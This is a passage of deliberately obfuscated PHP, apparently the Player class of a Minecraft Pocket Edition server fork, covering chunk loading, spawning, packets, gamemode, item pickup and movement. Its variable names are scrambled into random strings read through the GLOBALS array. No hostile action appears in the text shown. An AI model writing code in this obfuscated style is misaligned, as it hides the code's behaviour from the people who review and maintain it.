as${$crvvbsscvbo}=>${${"GLOBALS"}["ribemcedxese"]}){$xpmkkeh="count";$rkgueveo="index";${"GLOBALS"}["cbkbeceoegs"]="index";$dneusdqn="Z";$rclquwkl="X";if(${${"GLOBALS"}["cfrejkkd"]}>=$this->chunksPerTick){break;}${"GLOBALS"}["xolielsoclue"]="Z";${${"GLOBALS"}["rbmfjwfncmxp"]}=null;${${"GLOBALS"}["xolielsoclue"]}=null;${"GLOBALS"}["shkzwe"]="X";Level::getXZ(${${"GLOBALS"}["cbkbeceoegs"]},${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]});++${$xpmkkeh};$this->usedChunks[${$rkgueveo}]=false;$this->level->registerChunkLoader($this,${${"GLOBALS"}["shkzwe"]},${$dneusdqn},true);if(!$this->level->populateChunk(${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]})){if($this->spawned and$this->teleportPosition===null){continue;}else{break;}}unset($this->loadQueue[${${"GLOBALS"}["uspqxtmors"]}]);$this->level->requestChunk(${$rclquwkl},${${"GLOBALS"}["txdpmuloyj"]},$this);if((count($this->loadQueue)==0)and$this->shouldSendStatus){${"GLOBALS"}["twgnupdw"]="pk";$kjfbluiwqbn="pk";$this->shouldSendStatus=false;${${"GLOBALS"}["twgnupdw"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::PLAYER_SPAWN;$this->dataPacket(${$kjfbluiwqbn});}}if($this->chunkLoadCount>=$this->spawnThreshold and$this->spawned===false and$this->teleportPosition===null){$this->doFirstSpawn();}Timings::$playerChunkSendTimer->stopTiming();}protected function doFirstSpawn(){$this->spawned=true;$cetdfjb="pk";$this->sendPotionEffects($this);$revcjod="pk";$vlrgswkipuv="index";$this->sendData($this);${"GLOBALS"}["msvefkvvev"]="pk";${"GLOBALS"}["piiuposs"]="pos";${"GLOBALS"}["dwdboecd"]="pos";${$cetdfjb}=new SetTimePacket();$zieqahudd="pos";$pk->time=$this->level->getTime();${"GLOBALS"}["hvuwtgf"]="pos";$pk->started=$this->level->stopTime==false;$this->dataPacket(${${"GLOBALS"}["msvefkvvev"]});$yvnknj="pk";$ktbexshij="c";${${"GLOBALS"}["wxoehmqbtg"]}=$this->level->getSafeSpawn($this);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerRespawnEvent($this,${${"GLOBALS"}["dwdboecd"]}));${$zieqahudd}=$ev->getRespawnPosition();if($pos->getY()<127)${${"GLOBALS"}["hvuwtgf"]}=$pos->add(0,0.2,0);${$revcjod}=new PlayStatusPacket();$pk->status=PlayStatusPacket::PLAYER_SPAWN;$this->dataPacket(${$yvnknj});$this->noDamageTicks=60;foreach($this->usedChunks as${$vlrgswkipuv}=>${$ktbexshij}){$ubknspf="chunkX";Level::getXZ(${${"GLOBALS"}["uspqxtmors"]},${${"GLOBALS"}["uvtebnejz"]},${${"GLOBALS"}["dwjjtd"]});${"GLOBALS"}["smrvck"]="entity";foreach($this->level->getChunkEntities(${$ubknspf},${${"GLOBALS"}["dwjjtd"]})as${${"GLOBALS"}["smrvck"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this and!$entity->closed and$entity->isAlive()){$entity->spawnTo($this);}}}$this->teleport(${${"GLOBALS"}["piiuposs"]});$this->allowFlight=(($this->gamemode==3)or($this->gamemode==1));$this->setHealth($this->getHealth());$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerJoinEvent($this,new TranslationContainer(TextFormat::YELLOW."%multiplayer.player.joined",[$this->getDisplayName()])));$this->sendSettings();if(strlen(trim(${${"GLOBALS"}["hppkbcn"]}=$ev->getJoinMessage()))>0){$gtpmsxsv="msg";if($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_MESSAGE)$this->server->broadcastMessage(${$gtpmsxsv});elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_TIP)$this->server->broadcastTip(str_replace("@player",$this->getName(),$this->server->playerLoginMsg));elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_POPUP)$this->server->broadcastPopup(str_replace("@player",$this->getName(),$this->server->playerLoginMsg));}$this->server->onPlayerLogin($this);$this->spawnToAll();$this->level->getWeather()->sendWeather($this);if($this->server->dserverConfig["enable"]and$this->server->dserverConfig["queryAutoUpdate"]){$this->server->updateQuery();}if($this->getHealth()<=0){$dglddqnodn="pos";${${"GLOBALS"}["ozzywsrssq"]}=new RespawnPacket();${$dglddqnodn}=$this->getSpawn();$pk->x=$pos->x;$pk->y=$pos->y;$pk->z=$pos->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}$this->inventory->sendContents($this);$this->inventory->sendArmorContents($this);}protected function orderChunks(){${"GLOBALS"}["ioneuucvlu"]="viewDistance";if($this->connected===false){return false;}Timings::$playerChunkOrderTimer->startTiming();${"GLOBALS"}["jtbfgjvf"]="newOrder";$this->nextChunkOrderRun=200;${${"GLOBALS"}["ioneuucvlu"]}=$this->server->getMemoryManager()->getViewDistance($this->viewDistance);${"GLOBALS"}["omtyoiadtc"]="i";${${"GLOBALS"}["jtbfgjvf"]}=[];${${"GLOBALS"}["huqxyhbptjl"]}=$this->usedChunks;${${"GLOBALS"}["zokmuumnsf"]}=$this->x>>4;${${"GLOBALS"}["byoktfhtm"]}=$this->z>>4;${${"GLOBALS"}["tcvuwigjqw"]}=1;${${"GLOBALS"}["qxfkcywf"]}=0;${"GLOBALS"}["foouhpqf"]="newOrder";${${"GLOBALS"}["bfkluni"]}=0;${${"GLOBALS"}["qdqdqtc"]}=0;for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["omtyoiadtc"]}<${${"GLOBALS"}["saxhnvcly"]};++${${"GLOBALS"}["oilgiiu"]}){${"GLOBALS"}["lrjvln"]="chunkZ";${"GLOBALS"}["yckgpvcbn"]="z";${"GLOBALS"}["fhjihnguxjhb"]="chunkZ";${"GLOBALS"}["qhiiqqcvu"]="x";$liexhvbmnf="centerZ";$pjnmpiw="z";${"GLOBALS"}["xzdmjykjct"]="layer";${"GLOBALS"}["guokjumvstf"]="leg";$ywxdvbey="index";$bmfxjtiv="x";$wocpwduivb="x";${"GLOBALS"}["kvqvtxd"]="lastChunk";${"GLOBALS"}["kyjwosmd"]="chunkX";$rrltmz="chunkX";$ggolsri="layer";${${"GLOBALS"}["kyjwosmd"]}=${$wocpwduivb}+${${"GLOBALS"}["zokmuumnsf"]};${${"GLOBALS"}["lrjvln"]}=${${"GLOBALS"}["qdqdqtc"]}+${$liexhvbmnf};${"GLOBALS"}["vnsknce"]="z";if(!isset($this->usedChunks[${${"GLOBALS"}["uspqxtmors"]}=Level::chunkHash(${$rrltmz},${${"GLOBALS"}["fhjihnguxjhb"]})])or$this->usedChunks[${${"GLOBALS"}["uspqxtmors"]}]===false){${"GLOBALS"}["yweenouqoyn"]="index";${${"GLOBALS"}["letosku"]}[${${"GLOBALS"}["yweenouqoyn"]}]=true;}unset(${${"GLOBALS"}["kvqvtxd"]}[${$ywxdvbey}]);switch(${${"GLOBALS"}["guokjumvstf"]}){case 0:++${$bmfxjtiv};if(${${"GLOBALS"}["bfkluni"]}===${$ggolsri}){++${${"GLOBALS"}["qxfkcywf"]};}break;case 1:++${${"GLOBALS"}["vnsknce"]};if(${$pjnmpiw}===${${"GLOBALS"}["tcvuwigjqw"]}){${"GLOBALS"}["jbkrthbsy"]="leg";++${${"GLOBALS"}["jbkrthbsy"]};}break;case 2:--${${"GLOBALS"}["bfkluni"]};if(-${${"GLOBALS"}["qhiiqqcvu"]}===${${"GLOBALS"}["tcvuwigjqw"]}){$knwwlivw="leg";++${$knwwlivw};}break;case 3:--${${"GLOBALS"}["yckgpvcbn"]};if(-${${"GLOBALS"}["qdqdqtc"]}===${${"GLOBALS"}["xzdmjykjct"]}){${"GLOBALS"}["ezblqoym"]="leg";${${"GLOBALS"}["ezblqoym"]}=0;++${${"GLOBALS"}["tcvuwigjqw"]};}break;}}foreach(${${"GLOBALS"}["huqxyhbptjl"]} as${${"GLOBALS"}["uspqxtmors"]}=>${${"GLOBALS"}["tbswehs"]}){$lepqiqbv="Z";${"GLOBALS"}["popwufhu"]="index";Level::getXZ(${${"GLOBALS"}["popwufhu"]},${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]});$this->unloadChunk(${${"GLOBALS"}["rbmfjwfncmxp"]},${$lepqiqbv});}$this->loadQueue=${${"GLOBALS"}["foouhpqf"]};Timings::$playerChunkOrderTimer->stopTiming();return true;}public function batchDataPacket($packet){${"GLOBALS"}["ymntzbux"]="packet";if($this->connected===false){return false;}${"GLOBALS"}["urujmd"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["urujmd"]}=new DataPacketSendEvent($this,${${"GLOBALS"}["qebrriohj"]}));if($ev->isCancelled()){return false;}if(!isset($this->batchedPackets)){$this->batchedPackets=[];}$this->batchedPackets[]=clone${${"GLOBALS"}["ymntzbux"]};return true;}public function dataPacket($packet,$needACK=false){$qvhjwfwyff="packet";$napwsvy="packet";${"GLOBALS"}["empyfypmnxo"]="identifier";if(!$this->connected){return false;}${${"GLOBALS"}["qebrriohj"]}=AnyVersionManager::parsePacket($this,${${"GLOBALS"}["qebrriohj"]});$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new DataPacketSendEvent($this,${$qvhjwfwyff}));if($ev->isCancelled()){return false;}${${"GLOBALS"}["empyfypmnxo"]}=$this->interface->putPacket($this,${$napwsvy},${${"GLOBALS"}["wqowpxyy"]},false);if(${${"GLOBALS"}["wqowpxyy"]} and${${"GLOBALS"}["senpcvj"]}!==null){$nreihmju="identifier";$this->needACK[${${"GLOBALS"}["senpcvj"]}]=false;return${$nreihmju};}return true;}public function directDataPacket($packet,$needACK=false){${"GLOBALS"}["nyfgsxdmqcf"]="needACK";${"GLOBALS"}["szszjs"]="identifier";$qxitsyspee="packet";$jxfbmzfjw="ev";${"GLOBALS"}["uckrnaooow"]="packet";$nfowhtogal="packet";if($this->connected===false){return false;}${$nfowhtogal}=AnyVersionManager::parsePacket($this,${${"GLOBALS"}["uckrnaooow"]});$this->server->getPluginManager()->callEvent(${$jxfbmzfjw}=new DataPacketSendEvent($this,${$qxitsyspee}));if($ev->isCancelled()){return false;}${${"GLOBALS"}["senpcvj"]}=$this->interface->putPacket($this,${${"GLOBALS"}["qebrriohj"]},${${"GLOBALS"}["nyfgsxdmqcf"]},true);if(${${"GLOBALS"}["wqowpxyy"]} and${${"GLOBALS"}["szszjs"]}!==null){${"GLOBALS"}["xcchnkbliz"]="identifier";$this->needACK[${${"GLOBALS"}["xcchnkbliz"]}]=false;return${${"GLOBALS"}["senpcvj"]};}return true;}public function sleepOn(Vector3$pos){$rcebmgpkho="p";if(!$this->isOnline()){return false;}foreach($this->level->getNearbyEntities($this->boundingBox->grow(2,1,2),$this)as${$rcebmgpkho}){$rrhpbtfrfb="p";if(${$rrhpbtfrfb} instanceof Player){if($p->sleeping!==null and$pos->distance($p->sleeping)<=0.1){return false;}}}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerBedEnterEvent($this,$this->level->getBlock(${${"GLOBALS"}["wxoehmqbtg"]})));if($ev->isCancelled()){return false;}$this->sleeping=clone${${"GLOBALS"}["wxoehmqbtg"]};$this->setDataProperty(self::DATA_PLAYER_BED_POSITION,self::DATA_TYPE_POS,[$pos->x,$pos->y,$pos->z]);$this->setDataFlag(self::DATA_PLAYER_FLAGS,self::DATA_PLAYER_FLAG_SLEEP,true);$this->setSpawn(${${"GLOBALS"}["wxoehmqbtg"]});$this->level->sleepTicks=60;return true;}public function setSpawn(Vector3$pos){${"GLOBALS"}["rrhxghubzny"]="pos";if(!(${${"GLOBALS"}["rrhxghubzny"]} instanceof Position)){$fmhtiictdl="level";${$fmhtiictdl}=$this->level;}else{${${"GLOBALS"}["mqgpqffss"]}=$pos->getLevel();}$this->spawnPosition=new Position($pos->x,$pos->y,$pos->z,${${"GLOBALS"}["mqgpqffss"]});${${"GLOBALS"}["ozzywsrssq"]}=new SetSpawnPositionPacket();$pk->x=(int)$this->spawnPosition->x;$pk->y=(int)$this->spawnPosition->y;$pk->z=(int)$this->spawnPosition->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}public function stopSleep(){if($this->sleeping instanceof Vector3){${"GLOBALS"}["kcuopzi"]="pk";${"GLOBALS"}["mfjofvv"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["mfjofvv"]}=new PlayerBedLeaveEvent($this,$this->level->getBlock($this->sleeping)));$this->sleeping=null;$this->setDataProperty(self::DATA_PLAYER_BED_POSITION,self::DATA_TYPE_POS,[0,0,0]);$this->setDataFlag(self::DATA_PLAYER_FLAGS,self::DATA_PLAYER_FLAG_SLEEP,false);$this->level->sleepTicks=0;${${"GLOBALS"}["kcuopzi"]}=new AnimatePacket();$pk->eid=0;$pk->action=PlayerAnimationEvent::WAKE_UP;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}}public function getGamemode():int{return$this->gamemode;}public function setGamemode(int$gm){${"GLOBALS"}["nckocyzblf"]="gm";$iohonuo="gm";if(${$iohonuo}<0 or${${"GLOBALS"}["nckocyzblf"]}>3 or$this->gamemode===${${"GLOBALS"}["jdfbduzetjp"]}){return false;}$hnbtahj="pk";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerGameModeChangeEvent($this,${${"GLOBALS"}["jdfbduzetjp"]}));${"GLOBALS"}["hrmqiilbam"]="pk";if($ev->isCancelled()){return false;}if($this->server->autoClearInv){$this->inventory->clearAll();}$this->gamemode=${${"GLOBALS"}["jdfbduzetjp"]};$this->allowFlight=$this->isCreative();if($this->isSpectator()){$this->despawnFromAll();}else{$this->spawnToAll();}$this->namedtag->playerGameType=new IntTag("playerGameType",$this->gamemode);${$hnbtahj}=new SetPlayerGameTypePacket();$pk->gamemode=$this->gamemode&0x01;$this->dataPacket(${${"GLOBALS"}["hrmqiilbam"]});$this->sendSettings();if($this->gamemode===Player::SPECTATOR){$qoctadsel="pk";${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$this->dataPacket(${$qoctadsel});}else{if(AnyVersionManager::isProtocol($this,"0.15")){$bcggigyor="pk";${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getCreativeItems(),$this->personalCreativeItems);$this->dataPacket(${$bcggigyor});}else if(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getp70CreativeItems(),$this->personalCreativeItems);$vxgwntjeu="pk";$this->dataPacket(${$vxgwntjeu});}}$this->inventory->sendContents($this);$this->inventory->sendContents($this->getViewers());$this->inventory->sendHeldItem($this->hasSpawned);return true;}public function sendSettings(){${${"GLOBALS"}["drylubndbbyo"]}=0;if($this->isAdventure()){$fvpixxk="flags";${$fvpixxk}|=0x01;}if($this->autoJump){${${"GLOBALS"}["drylubndbbyo"]}|=0x40;}if($this->allowFlight){${${"GLOBALS"}["drylubndbbyo"]}|=0x80;}$imfzsfjxl="flags";${"GLOBALS"}["mcexgnbpth"]="pk";if($this->isSpectator()){${${"GLOBALS"}["drylubndbbyo"]}|=0x100;}${$imfzsfjxl}|=0x02;${${"GLOBALS"}["drylubndbbyo"]}|=0x04;${${"GLOBALS"}["drylubndbbyo"]}|=0x08;${${"GLOBALS"}["ozzywsrssq"]}=new AdventureSettingsPacket();$pk->flags=${${"GLOBALS"}["drylubndbbyo"]};$pk->userPermission=2;$pk->globalPermission=2;$this->dataPacket(${${"GLOBALS"}["mcexgnbpth"]});}public function isSurvival():bool{return($this->gamemode&0x01)===0;}public function isCreative():bool{return($this->gamemode&0x01)>0;}public function isSpectator():bool{return$this->gamemode===3;}public function isAdventure():bool{return($this->gamemode&0x02)>0;}public function getDrops():array{if(!$this->isCreative()){return parent::getDrops();}return[];}public function setDataProperty($id,$type,$value){if(parent::setDataProperty(${${"GLOBALS"}["fueouqcqi"]},${${"GLOBALS"}["xydwvsmhpur"]},${${"GLOBALS"}["lalxhrpdciqp"]})){${"GLOBALS"}["lhyxwiw"]="id";$this->sendData($this,[${${"GLOBALS"}["fueouqcqi"]}=>$this->dataProperties[${${"GLOBALS"}["lhyxwiw"]}]]);return true;}return false;}protected function checkGroundState($movX,$movY,$movZ,$dx,$dy,$dz){$dnigfi="movY";if(!$this->onGround or${$dnigfi}!=0){${"GLOBALS"}["qbjykc"]="bb";${${"GLOBALS"}["qbjykc"]}=clone$this->boundingBox;$bb->maxY=$bb->minY+0.5;$fossryu="bb";$bb->minY-=1;if(count($this->level->getCollisionBlocks(${$fossryu},true))>0){$this->onGround=true;}else{$this->onGround=false;}}$this->isCollided=$this->onGround;}protected function checkBlockCollision(){${"GLOBALS"}["jrhaostdo"]="blocksaround";foreach(${${"GLOBALS"}["jrhaostdo"]}=$this->getBlocksAround()as${${"GLOBALS"}["raioovemq"]}){$block->onEntityCollide($this);if($this->getServer()->redstoneEnabled){${"GLOBALS"}["ryyufvxwexs"]="block";if(${${"GLOBALS"}["ryyufvxwexs"]} instanceof PressurePlate){$this->activatedPressurePlates[Level::blockHash($block->x,$block->y,$block->z)]=${${"GLOBALS"}["raioovemq"]};}}}if($this->getServer()->redstoneEnabled){${"GLOBALS"}["nhfxtpdoviez"]="block";$fuymovqsea="key";foreach($this->activatedPressurePlates as${$fuymovqsea}=>${${"GLOBALS"}["nhfxtpdoviez"]}){${"GLOBALS"}["seqerp"]="key";$rurqverhgx="blocksaround";if(!isset(${$rurqverhgx}[${${"GLOBALS"}["seqerp"]}]))$block->checkActivation();}}}protected function checkNearEntities($tickDiff){${"GLOBALS"}["mhvtmbae"]="entity";foreach($this->level->getNearbyEntities($this->boundingBox->grow(0.5,0.5,0.5),$this)as${${"GLOBALS"}["mhvtmbae"]}){$entity->scheduleUpdate();if(!$entity->isAlive()){continue;}$zbqevyq="entity";if(${${"GLOBALS"}["yiewjbrtorvu"]} instanceof Arrow and$entity->hadCollision){$hcwuyvh="pk";${${"GLOBALS"}["fohexunnbe"]}=Item::get(Item::ARROW,$entity->getPotionId(),1);${${"GLOBALS"}["swmvqygzd"]}=false;if(!$this->server->allowInventoryCheats and!$this->isCreative()){${"GLOBALS"}["boiovlp"]="item";$wcslskv="item";if(!$this->getFloatingInventory()->canAddItem(${$wcslskv})or!$this->inventory->canAddItem(${${"GLOBALS"}["boiovlp"]})){continue;}${${"GLOBALS"}["swmvqygzd"]}=true;}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new InventoryPickupArrowEvent($this->inventory,${${"GLOBALS"}["yiewjbrtorvu"]}));if($ev->isCancelled()){continue;}${${"GLOBALS"}["ozzywsrssq"]}=new TakeItemEntityPacket();${"GLOBALS"}["fghrqnn"]="pk";$pk->eid=$this->getId();$pk->target=$entity->getId();Server::broadcastPacket($entity->getViewers(),${${"GLOBALS"}["ozzywsrssq"]});${$hcwuyvh}=new TakeItemEntityPacket();$pk->eid=0;$pk->target=$entity->getId();$this->dataPacket(${${"GLOBALS"}["fghrqnn"]});${"GLOBALS"}["xbrzjsr"]="add";if(${${"GLOBALS"}["xbrzjsr"]}){$this->getFloatingInventory()->addItem(clone${${"GLOBALS"}["fohexunnbe"]});}$entity->kill();}elseif(${$zbqevyq} instanceof DroppedItem){if($entity->getPickupDelay()<=0){${${"GLOBALS"}["fohexunnbe"]}=$entity->getItem();$benupwcfiq="item";if(${$benupwcfiq} instanceof Item){$omiogq="add";$exkipxejkm="ev";${"GLOBALS"}["jlsduwqh"]="entity";${$omiogq}=false;if(!$this->server->allowInventoryCheats and!$this->isCreative()){${"GLOBALS"}["lqxklh"]="item";${"GLOBALS"}["cnebgqwff"]="add";if(!$this->getFloatingInventory()->canAddItem(${${"GLOBALS"}["fohexunnbe"]})or!$this->inventory->canAddItem(${${"GLOBALS"}["lqxklh"]})){continue;}${${"GLOBALS"}["cnebgqwff"]}=true;}$this->server->getPluginManager()->callEvent(${$exkipxejkm}=new InventoryPickupItemEvent($this->inventory,${${"GLOBALS"}["jlsduwqh"]}));$rxwekygvyg="add";$umktvsxmm="pk";if($ev->isCancelled()){continue;}${$umktvsxmm}=new TakeItemEntityPacket();$pk->eid=$this->getId();$pk->target=$entity->getId();Server::broadcastPacket($entity->getViewers(),${${"GLOBALS"}["ozzywsrssq"]});${${"GLOBALS"}["ozzywsrssq"]}=new TakeItemEntityPacket();$pk->eid=0;$pk->target=$entity->getId();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});if(${$rxwekygvyg}){$this->getFloatingInventory()->addItem(clone${${"GLOBALS"}["fohexunnbe"]});}$entity->kill();}}}}}protected function processMovement($tickDiff){$alpwytyymm="from";$tojphkhx="revert";if(!$this->isAlive()or!$this->spawned or$this->newPosition===null or$this->teleportPosition!==null){$this->setMoving(false);return;}${"GLOBALS"}["lsbbnmyiscw"]="revert";${"GLOBALS"}["homsqu"]="delta";$rpgogch="distanceSquared";$pbeibvvrsum="revert";${${"GLOBALS"}["bkghbqddjuht"]}=$this->newPosition;${$rpgogch}=$newPos->distanceSquared($this);${$tojphkhx}=false;$kufrhrwnyrr="delta";$dpoqegtd="to";if($this->server->checkMovement){${"GLOBALS"}["txexcezg"]="tickDiff";$coixftfsdp="distanceSquared";if((${$coixftfsdp}/(${${"GLOBALS"}["txexcezg"]}**2))>200){${"GLOBALS"}["beguliqxmgl"]="revert";${${"GLOBALS"}["beguliqxmgl"]}=true;}else{if($this->chunk===null or!$this->chunk->isGenerated()){${${"GLOBALS"}["zblhoo"]}=$this->level->getChunk($newPos->x>>4,$newPos->z>>4,false);if(${${"GLOBALS"}["zblhoo"]}===null or!$chunk->isGenerated()){${${"GLOBALS"}["rtkvnyyhk"]}=true;$this->nextChunkOrderRun=0;}else{${"GLOBALS"}["bhjkftpclofn"]="chunk";if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=${${"GLOBALS"}["bhjkftpclofn"]};}}}}else{if($this->chunk===null or!$this->chunk->isGenerated()){${${"GLOBALS"}["zblhoo"]}=$this->level->getChunk($newPos->x>>4,$newPos->z>>4,false);if(${${"GLOBALS"}["zblhoo"]}===null or!$chunk->isGenerated()){$tncfrkbktk="revert";${$tncfrkbktk}=true;$this->nextChunkOrderRun=0;}else{if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=${${"GLOBALS"}["zblhoo"]};}}}${"GLOBALS"}["mwwhqnccvu"]="distanceSquared";if(!${${"GLOBALS"}["lsbbnmyiscw"]} and${${"GLOBALS"}["ctvidhurc"]}!=0){${${"GLOBALS"}["uzxmxytm"]}=$newPos->x-$this->x;${"GLOBALS"}["flscty"]="diffX";${${"GLOBALS"}["xojacv"]}=$newPos->y-$this->y;${"GLOBALS"}["ixladsfp"]="diffY";${"GLOBALS"}["dbbzrhyo"]="yS";${${"GLOBALS"}["ioksphyz"]}=$newPos->z-$this->z;$this->move(${${"GLOBALS"}["uzxmxytm"]},${${"GLOBALS"}["xojacv"]},${${"GLOBALS"}["ioksphyz"]});${${"GLOBALS"}["flscty"]}=$this->x-$newPos->x;${"GLOBALS"}["ovcswqaeix"]="yS";$lecbosd="tickDiff";${"GLOBALS"}["uqcucizmkdkp"]="diffY";${${"GLOBALS"}["qmwdfikxc"]}=$this->y-$newPos->y;${"GLOBALS"}["ejzthgsj"]="diffZ";${${"GLOBALS"}["ejzthgsj"]}=$this->z-$newPos->z;${"GLOBALS"}["obejbgistpj"]="diffZ";${${"GLOBALS"}["xrlythxdifz"]}=0.5+$this->ySize;if(${${"GLOBALS"}["uqcucizmkdkp"]}>=-${${"GLOBALS"}["ovcswqaeix"]} or${${"GLOBALS"}["qmwdfikxc"]}<=${${"GLOBALS"}["dbbzrhyo"]}){$pjlibro="diffY";${$pjlibro}=0;}${${"GLOBALS"}["bwaqorjihg"]}=(${${"GLOBALS"}["wpmiqyw"]}**2+${${"GLOBALS"}["ixladsfp"]}**2+${${"GLOBALS"}["obejbgistpj"]}**2)/(${$lecbosd}**2);}${$alpwytyymm}=new Location($this->lastX,$this->lastY,$this->lastZ,$this->lastYaw,$this->lastPitch,$this->level);${$dpoqegtd}=$this->getLocation();${$kufrhrwnyrr}=pow($this->lastX-$to->x,2)+pow($this->lastY-$to->y,2)+pow($this->lastZ-$to->z,2);${${"GLOBALS"}["airqtkrd"]}=abs($this->lastYaw-$to->yaw)+abs($this->lastPitch-$to->pitch);if(!${${"GLOBALS"}["rtkvnyyhk"]} and(${${"GLOBALS"}["homsqu"]}>(1/16)or${${"GLOBALS"}["airqtkrd"]}>10)){${${"GLOBALS"}["suqlgnvhse"]}=($this->lastX===null or$this->lastY===null or$this->lastZ===null);$this->lastX=$to->x;$this->lastY=$to->y;$this->lastZ=$to->z;$this->lastYaw=$to->yaw;$this->lastPitch=$to->pitch;if(!${${"GLOBALS"}["suqlgnvhse"]}){$llpeqsx="ev";$sppubkrnkpf="from";$sudwtkjpb="ev";${$llpeqsx}=new PlayerMoveEvent($this,${$sppubkrnkpf},${${"GLOBALS"}["lnajtnm"]});$this->setMoving(true);$this->server->getPluginManager()->callEvent(${$sudwtkjpb});if(!(${${"GLOBALS"}["rtkvnyyhk"]}=$ev->isCancelled())){if($this->server->netherEnabled){if($this->isInsideOfPortal()){if($this->portalTime==0){$this->portalTime=$this->server->getTick();}}else{$this->portalTime=0;}}if($to->distanceSquared($ev->getTo())>0.01){$this->teleport($ev->getTo());}else{$this->addMovement($this->x,$this->y+$this->getEyeHeight(),$this->z,$this->yaw,$this->pitch,$this->yaw);}if($this->fishingHook instanceof FishingHook){if($this->distance($this->fishingHook)>33 or$this->inventory->getItemInHand()->getId()!==Item::FISHING_ROD){$this->setFishingHook();}}}}if(!$this->isSpectator()){$rqprbchrqmsb="tickDiff";$this->checkNearEntities(${$rqprbchrqmsb});}$this->speed=$from->subtract(${${"GLOBALS"}["lnajtnm"]});}elseif(${${"GLOBALS"}["mwwhqnccvu"]}==0){$this->speed=new Vector3(0,0,0);$this->setMoving(false);}if(${$pbeibvvrsum}&&!$this->isSpectator()){$cfigoqddws="from";$this->lastX=$from->x;$this->lastY=$from->y;$this->lastZ=$from->z;$this->lastYaw=$from->yaw;$this->lastPitch=$from->pitch;$this->sendPosition(${$cfigoqddws},$from->yaw,$from->pitch,1);$this->forceMovement=new Vector3($from->x,$from->y,$from->z);}else{$this->forceMovement=null;$zibnsqfys="distanceSquared";if(${$zibnsqfys}!=0 and$this->nextChunkOrderRun>20){$this->nextChunkOrderRun=20;}}$this->newPosition=null;}public function addMovement($x,$y,$z,$yaw,$pitch,$headYaw=null){if($this->chunk!==null){$cjgvphbftly="headYaw";${"GLOBALS"}["ptaoih"]="x";${"GLOBALS"}["doqiurvhap"]="z";${"GLOBALS"}["rffyhlox"]="yaw";${"GLOBALS"}["hgrzjfrhhle"]="y";$this->level->addPlayerMovement($this->chunk->getX(),$this->chunk->getZ(),$this->id,${${"GLOBALS"}["ptaoih"]},${${"GLOBALS"}["hgrzjfrhhle"]},${${"GLOBALS"}["doqiurvhap"]},${${"GLOBALS"}["fpjrglovqm"]},${${"GLOBALS"}["wvtjdkymit"]},$this->onGround,${${"GLOBALS"}["pxiwzxnx"]}===null?${${"GLOBALS"}["rffyhlox"]}:${$cjgvphbftly});}}public function setMotion(Vector3$mot){$qqlcwlue="mot";if(parent::setMotion(${$qqlcwlue})){if($this->chunk!==null){$jgziwwy="pk";${"GLOBALS"}["ciesqcovis"]="pk";$this->level->addEntityMotion($this->chunk->getX(),$this->chunk->getZ(),$this->getId(),$this->motionX,$this->motionY,$this->motionZ);${${"GLOBALS"}["ciesqcovis"]}=new SetEntityMotionPacket();$pk->entities[]=[0,$mot->x,$mot->y,$mot->z];$this->dataPacket(${$jgziwwy});}if($this->motionY>0){$this->startAirTicks=(-(log($this->gravity/($this->gravity+$this->drag*$this->motionY)))/$this->drag)*2+5;}return true;}return false;}protected function updateMovement(){}public$foodTick=0;public$starvationTick=0;public$foodUsageTime=0;protected$moving=false;public function setMoving($moving){$this->moving=${${"GLOBALS"}["jsfeuxvh"]};}public function isMoving():bool{return$this->moving;}public function sendAttributes(){$dvifrniqi="entries";$kcffgqlo="entries";${$dvifrniqi}=$this->attributeMap->needSend();if(count(${$kcffgqlo})>0){$tvwbpit="pk";${$tvwbpit}=new UpdateAttributesPacket();$pk->entityId=0;$pk->entries=${${"GLOBALS"}["hzleyixsfkp"]};${"GLOBALS"}["lqycwuf"]="entry";$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});foreach(${${"GLOBALS"}["hzleyixsfkp"]} as${${"GLOBALS"}["lqycwuf"]}){$entry->markSynchronized();}}}public function onUpdate($currentTick){$wddvqn="tickDiff";if(!$this->loggedIn){return false;}${"GLOBALS"}["rtfhyqkop"]="currentTick";${$wddvqn}=${${"GLOBALS"}["kyjjmgh"]}-$this->lastUpdate;if(${${"GLOBALS"}["klpkqij"]}<=0){return true;}$this->messageCounter=2;$this->lastUpdate=${${"GLOBALS"}["rtfhyqkop"]};$this->sendAttributes();if(!$this->isAlive()and$this->spawned){++$this->deadTicks;if($this->deadTicks>=10){$this->despawnFromAll();}return 